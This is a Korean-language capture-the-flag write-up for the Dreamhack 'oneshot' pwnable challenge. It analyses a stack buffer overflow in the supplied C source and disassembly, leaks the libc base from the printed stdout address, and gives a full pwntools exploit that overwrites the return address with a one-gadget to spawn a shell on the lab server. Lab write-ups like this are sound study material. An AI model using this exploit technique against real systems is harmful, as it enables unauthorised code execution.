[Pwnable] oneshot
문제 : https://dreamhack.io/wargame/challenges/34
oneshot
Description 이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에
dreamhack.io
Environment
[*] '/home/minzu/Dreamhack/oneshot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
- No Canary : Canary leak하는 과정이 필요하지 않음
- NX enable : 스택에 실행 권한이 없음
- PIE enable : main의 주소 (코드의 주소)가 실행때마다 바뀜 -> plt, got 변화
Code Analysis
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
Vulnerability Type : Stack buffer Overflw (BOF)
현재 msg(buffer)가 16 할당되어있는데, read는 46만큼 받는다.
입력 버퍼의 크기보다 더 큰 값을 입력받으므로 스택버퍼 오버플로우의 가능성이 있다.
- 입력 크기 제한 > 버퍼 크기
- 스택 상 연속된 메모리 주소 접근 가능 > return addr에 접근 가능 + 조건 우회 가능
- 실행 흐름 조작 가능성 > return addr에 접근함으로써
- 보호 기법을 bypass 할 수 있는 가능성 있음
- stdout의 주소로 인해 libc 주소를 구할 수 있음
이에 따라 해당 코드는 익스플로잇이 가능하다.
Exploit Idea
- stdout의 주소로 libc 주소를 leak하기
- Onegadget or ROP를 이용하여 익스하기
Onegadget의 경우, 사용가능한 조건을 충족해야한다. 조건을 확인해보고, 실행 가능한 것이 있다면 적용하기
Stack Frame
0x0000000000000a41 <+0>: push rbp
0x0000000000000a42 <+1>: mov rbp,rsp
0x0000000000000a45 <+4>: sub rsp,0x30
0x0000000000000a49 <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000000000000a4c <+11>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000000a50 <+15>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000000a58 <+23>: mov eax,0x0
0x0000000000000a5d <+28>: call 0x9da <initialize>
0x0000000000000a62 <+33>: mov rax,QWORD PTR [rip+0x200567] # 0x200fd0
0x0000000000000a69 <+40>: mov rax,QWORD PTR [rax]
0x0000000000000a6c <+43>: mov rsi,rax
0x0000000000000a6f <+46>: lea rdi,[rip+0x107] # 0xb7d
0x0000000000000a76 <+53>: mov eax,0x0
0x0000000000000a7b <+58>: call 0x800 <printf@plt>
0x0000000000000a80 <+63>: lea rdi,[rip+0x102] # 0xb89
0x0000000000000a87 <+70>: mov eax,0x0
0x0000000000000a8c <+75>: call 0x800 <printf@plt>
0x0000000000000a91 <+80>: lea rax,[rbp-0x20]
0x0000000000000a95 <+84>: mov edx,0x2e
0x0000000000000a9a <+89>: mov rsi,rax
0x0000000000000a9d <+92>: mov edi,0x0
0x0000000000000aa2 <+97>: call 0x830 <read@plt>
0x0000000000000aa7 <+102>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000000aac <+107>: je 0xab8 <main+119>
0x0000000000000aae <+109>: mov edi,0x0
0x0000000000000ab3 <+114>: call 0x870 <exit@plt>
0x0000000000000ab8 <+119>: lea rax,[rbp-0x20]
0x0000000000000abc <+123>: mov rsi,rax
0x0000000000000abf <+126>: lea rdi,[rip+0xc9] # 0xb8f
0x0000000000000ac6 <+133>: mov eax,0x0
0x0000000000000acb <+138>: call 0x800 <printf@plt>
0x0000000000000ad0 <+143>: lea rax,[rbp-0x20]
0x0000000000000ad4 <+147>: mov edx,0x10
0x0000000000000ad9 <+152>: mov esi,0x0
0x0000000000000ade <+157>: mov rdi,rax
0x0000000000000ae1 <+160>: call 0x810 <memset@plt>
0x0000000000000ae6 <+165>: mov eax,0x0
0x0000000000000aeb <+170>: leave
0x0000000000000aec <+171>: ret
0x30만큼의 스택을 사용한다.
0x20만큼 떨어진 곳에서 buf가 존재하고, 0x10떨어진 곳에 check가 존재한다.
One gadget
원가젯이란, 한번에 쉘을 실행시킬 수 있는 가젯들이다.
ret을 원가젯으로 덮으면, 익스플로잇이 가능하다
minzu@localhost:~/Dreamhack$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
해당 조건들이 맞아 떨어져야만, 해당 가젯을 쓸 수 있다.
ret 이전에 rax가 NULL이면 된다.
leave, ret; 전에 eax 0x0을 채워넣는 과정이 존재하기에 rax = NULL이라 사용할 수 있을 것이다.
Exploit Scenario
libc base 주소 계산
현재 stdout의 주소를 출력해준다.
stdout의 심볼은 '_IO_2_1_stdout_'이므로, offset을 알고 있다.
따라서 stdout - '_IO_2_1_stdout_' = libc base가 된다.
One gadget 주소 계산
libc base + 0x45216 (원가젯 offset)을 넣어주면 결과적으로 원가젯의 주소를 구할 수 있다.
조건 우회
check 의 값이 0이어야 한다.
payload에, check부분을 0으로 채워주고, onegadget을 ret 부분에 넣어준다.
Exploit
from pwn import *
p = remote('host3.dreamhack.games', 23195)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
one_gadget = 0x45216
p.recvuntil('stdout: ')
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
one_gadget = libc_base + one_gadget
payload = b'A' * 24 + b'\x00' * 8 + b'A' * 8 + p64(one_gadget)
p.sendafter("MSG: ", payload)
p.interactive()
Question & Learn
Stdout이란?
표준입출력의 출력으로 symbol로는 '_IO_2_1_stdout_'을 사용한다.
https://rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak
stdout flag를 이용한 libc leak
stdout flag값을 변경하여 libc주소를 leak하는 방법을 정리하였다 따로 libc주소를 leak할 방법이 없을 때 유용하게 쓰일 것 같당ㅎㅎ 관련 문제 : [HackCTF/Pwnable] ChildHeap stdout을 이용한 libc주소 leak & fastb
rninche01.tistory.com
해당 방법을 사용한건 아니지만, 알아두면 좋을 것 같아서 첨부한다.